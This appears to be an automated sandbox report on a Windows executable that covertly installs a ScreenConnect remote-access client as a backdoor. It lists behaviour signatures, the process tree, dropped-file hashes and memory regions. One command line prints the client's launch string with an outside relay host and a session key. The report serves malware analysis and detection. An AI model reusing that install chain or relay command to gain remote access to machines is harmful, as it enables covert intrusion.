Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 14:55

General

  • Target
    3b265ef111f878856d9404236a421a430e4c5673b616900d333e92c387624e8a.exe
  • Size 12.2MB
  • Sample260728-sartfaydnd
  • SHA256 3b265ef111f878856d9404236a421a430e4c5673b616900d333e92c387624e8a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 9 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 42 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b265ef111f878856d9404236a421a430e4c5673b616900d333e92c387624e8a.exe
    "C:\Users\Admin\AppData\Local\Temp\3b265ef111f878856d9404236a421a430e4c5673b616900d333e92c387624e8a.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4840
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.4.3.9662\dd1e924c764fddd4\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\3b265ef111f878856d9404236a421a430e4c5673b616900d333e92c387624e8a.exe"
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:2300
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4336
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A2320E9A30EB267BA4AA438679687BDA C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1932
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF42A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240776343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1704
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF709.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240777406 11 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
        3⤵
        • Badlisted process makes network request
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5616
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF0DB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240841062 19 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1496
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2824
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding E4C9F73C5B0C298BECA499FE5EECD3E1
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1404
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 9715EA618DAE9BB34D617F6611F6057F E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3884
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:1584
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:4320
      • C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.ClientService.exe
        "C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-lgz5ic-relay.screenconnect.com&p=443&s=b3441e87-d63d-47a3-9779-2cb9f12b5f62&k=BgIAAACkAABSU0ExAAgAAAEAAQA5imROzaonxbKfmMiTXtb%2bMTzZ5e9prNQulT34hvI%2b6EbevA9W2u1ygEWA12zVG0JUcat4CLD%2bi2tl8sZF35CkDpFnXM%2byGYnjguQUtWVw8frNLJzrrksWr81MbPwEJnjIYEXqdhdNY0oaI%2fEHlqra5mQRh21KHV4%2fXvIjFHdJvMFYxLv9p%2beZvQzAe9ZQH6P68bB6cThimjTEWJiFCH5kwWUaKqH5g9K61ugm%2fQjfsPyQ87bzm3jgM0TC0vX8s1iC7gWt5Wgc8KLJrh55RqNOXr2GqINZs6gMY2asbDejosv7JxyvnlQlqdm9yieWw7sGYIR66TiYfJk%2bi4YuTKa7&c=xnoskipiper%20Gallery&c=xnoskipiper.com&c=Mam&c=TerPro&c=&c=&c=&c="
        1⤵
        • Sets service image path in registry
        • Drops file in System32 directory
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3796
        • C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.WindowsClient.exe" "RunRole" "77625181-035c-4800-b7a3-fdad0ddf7765" "User"
          2⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:3572
        • C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.WindowsClient.exe" "RunRole" "10fa37fc-53a3-4304-bbfc-2977a357ae20" "System"
          2⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:7028

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e5b3229.rbs

            • Path C:\Config.Msi\e5b3229.rbs
            • Size 214KB
            • SHA256 4a92a8433bc3287c5c43d7d44615119e084a955d3fe10ee4dc8847908a8f7507
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\Client.en-US.resources
            • Size 64KB
            • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\Client.resources
            • Size 6KB
            • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.Client.dll
            • Size 412KB
            • SHA256 4010ea184982e71ad71e76b43266488c954f665324b89ef042cea9e463a60c9d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.ClientService.dll
            • Size 91KB
            • SHA256 6e6aa42b107d3e82b7b7dc18a75eee3f09e9f268788c0a7edbbc617152adf178
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 a94ecccb5b88e3860d619fbb3b87ff4af6448240ab65b89d610f348d75e793f2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.Core.dll
            • Size 577KB
            • SHA256 eedbd9ba4755f238af397c71b575082e18a31eabacc22abb4949f92fe991e169
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.Windows.dll
            • Size 1.7MB
            • SHA256 305663a05c77c8058569a976db740aa2f20b66583f0381059633b628376570fc
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.WindowsClient.exe
            • Size 676KB
            • SHA256 f49ca44ae19ec33053d76aeca7136193095b6583888a0be063b8120c3c9226c7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 ce75ee1188726b49d46477166faac6f8715ca1aa4afc5b8a687fcbfcd541c0c2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (dd1e924c764fddd4)\system.config
            • Size 962B
            • SHA256 ea9493188cea336e1e5b3fa8248c95f20e2b5898713fe2a6421701b646311d78
            • MD5 SHA1 SHA512 TLSH

            MSIF42A.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF42A.tmp
            • Size 1.1MB
            • SHA256 18bacfd2a7c95800b6279cb8731bf03c8bbb526f5bc3790254a8e06d7ceee8ad
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF42A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF42A.tmp-\ScreenConnect.Core.dll
            • Size 567KB
            • SHA256 15fec18d3a8990cdb540897ede61227353165668048c001164fcd22233cc8390
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF42A.tmp-\ScreenConnect.InstallerActions.dll
            • Size 24KB
            • SHA256 c1142cc3ae09a7d3b5392539c29cbeb585543a38c93e37e55d82cbe0bb56d588
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF42A.tmp-\ScreenConnect.Windows.dll
            • Size 1.7MB
            • SHA256 ae3005e1ca932eccde09c479fde2ecf8ea2feeb908dec4f0c830eab671276454
            • MD5 SHA1 SHA512 SSDEEP TLSH

            CustomAction.config

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF709.tmp-\CustomAction.config
            • Size 234B
            • SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF709.tmp-\ScreenConnect.WindowsInstaller.dll
            • Size 137KB
            • SHA256 7c27380976a5befc5a947e129eb464123f46d06cf0eb7f984ced921f36e1d0e7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.4.3.9662\dd1e924c764fddd4\ScreenConnect.ClientSetup.msi
            • Size 9.8MB
            • SHA256 12db0ce0444e679164e9bbed23d7576adf28f4c61faf589f8f9d9db8cc2d7824
            • MD5 SHA1 SHA512 SSDEEP TLSH

            MSI3834.tmp

            • Path C:\Windows\Installer\MSI3834.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            4za1gjzt.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (dd1e924c764fddd4)\4za1gjzt.newcfg
            • Size 883B
            • SHA256 c3f37eeb24a53cac39839fe9dc1c2db6be60d55e362f2478c880610a45ab7913
            • MD5 SHA1 SHA512 TLSH

            ddg20qs5.newcfg

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (dd1e924c764fddd4)\ddg20qs5.newcfg
            • Size 683B
            • SHA256 6f0bfb9a4da019fc74b0715b353328bd848178ae7a39b846483bd0665e238eef
            • MD5 SHA1 SHA512 TLSH

            user.config

            • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (dd1e924c764fddd4)\user.config
            • Size 520B
            • SHA256 ae630563106de14af3246db194e82b67b87f9756b08819890ccf8ad65ac48d13
            • MD5 SHA1 SHA512 TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 26.1MB
            • SHA256 a3f19fbb1fbb3c9763521153eb788e8829e765aa51c2612b9a5b23dc56a75ddd
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {649f3c7d-0fe1-4696-b605-0fd53465c051}_OnDiskSnapshotProp

            • Path \??\Volume{c4492839-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{649f3c7d-0fe1-4696-b605-0fd53465c051}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 f690a21490520ad3eb4095bf44f05f0846814eadea08403018f669a8c445ecb6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1704-46-0x0000000003790000-0x0000000003824000-memory.dmp

            memory/1704-38-0x0000000003670000-0x000000000369E000-memory.dmp

            memory/1704-50-0x0000000005A90000-0x0000000005C40000-memory.dmp

            memory/1704-42-0x0000000003650000-0x000000000365C000-memory.dmp

            memory/3572-226-0x000000001B850000-0x000000001B8BC000-memory.dmp

            memory/3572-224-0x0000000000B40000-0x0000000000BEE000-memory.dmp

            memory/3572-227-0x000000001BBC0000-0x000000001BC54000-memory.dmp

            memory/3572-228-0x000000001BE10000-0x000000001BFC0000-memory.dmp

            memory/3572-229-0x0000000002C10000-0x0000000002C2A000-memory.dmp

            memory/3572-230-0x000000001C150000-0x000000001C2D8000-memory.dmp

            memory/3796-204-0x0000000004890000-0x00000000048FC000-memory.dmp

            memory/3796-162-0x0000000001EC0000-0x0000000001EDA000-memory.dmp

            memory/3796-208-0x0000000004AF0000-0x0000000004BC6000-memory.dmp

            memory/3796-168-0x0000000004490000-0x0000000004524000-memory.dmp

            memory/3796-206-0x0000000004620000-0x0000000004661000-memory.dmp

            memory/3796-172-0x00000000046E0000-0x0000000004890000-memory.dmp

            memory/3796-185-0x00000000045D0000-0x0000000004620000-memory.dmp

            memory/4840-7-0x00000000060C0000-0x000000000667A000-memory.dmp

            memory/4840-2-0x0000000000CA0000-0x0000000000CAC000-memory.dmp

            memory/4840-6-0x0000000005950000-0x0000000005B00000-memory.dmp

            memory/4840-8-0x0000000005BE0000-0x0000000005C72000-memory.dmp

            memory/4840-9-0x0000000074250000-0x0000000074A0C000-memory.dmp

            memory/4840-4-0x0000000005920000-0x0000000005948000-memory.dmp

            memory/4840-3-0x0000000005890000-0x0000000005924000-memory.dmp

            memory/4840-5-0x0000000074250000-0x0000000074A0C000-memory.dmp

            memory/4840-1-0x0000000000C80000-0x0000000000C88000-memory.dmp

            memory/4840-10-0x0000000074250000-0x0000000074A0C000-memory.dmp

            memory/4840-11-0x0000000074262000-0x0000000074263000-memory.dmp

            memory/4840-13-0x0000000074250000-0x0000000074A0C000-memory.dmp

            memory/4840-14-0x0000000074250000-0x0000000074A0C000-memory.dmp

            memory/4840-0-0x0000000074262000-0x0000000074263000-memory.dmp

            memory/4840-15-0x0000000074250000-0x0000000074A0C000-memory.dmp

            memory/5616-80-0x0000000003400000-0x0000000003428000-memory.dmp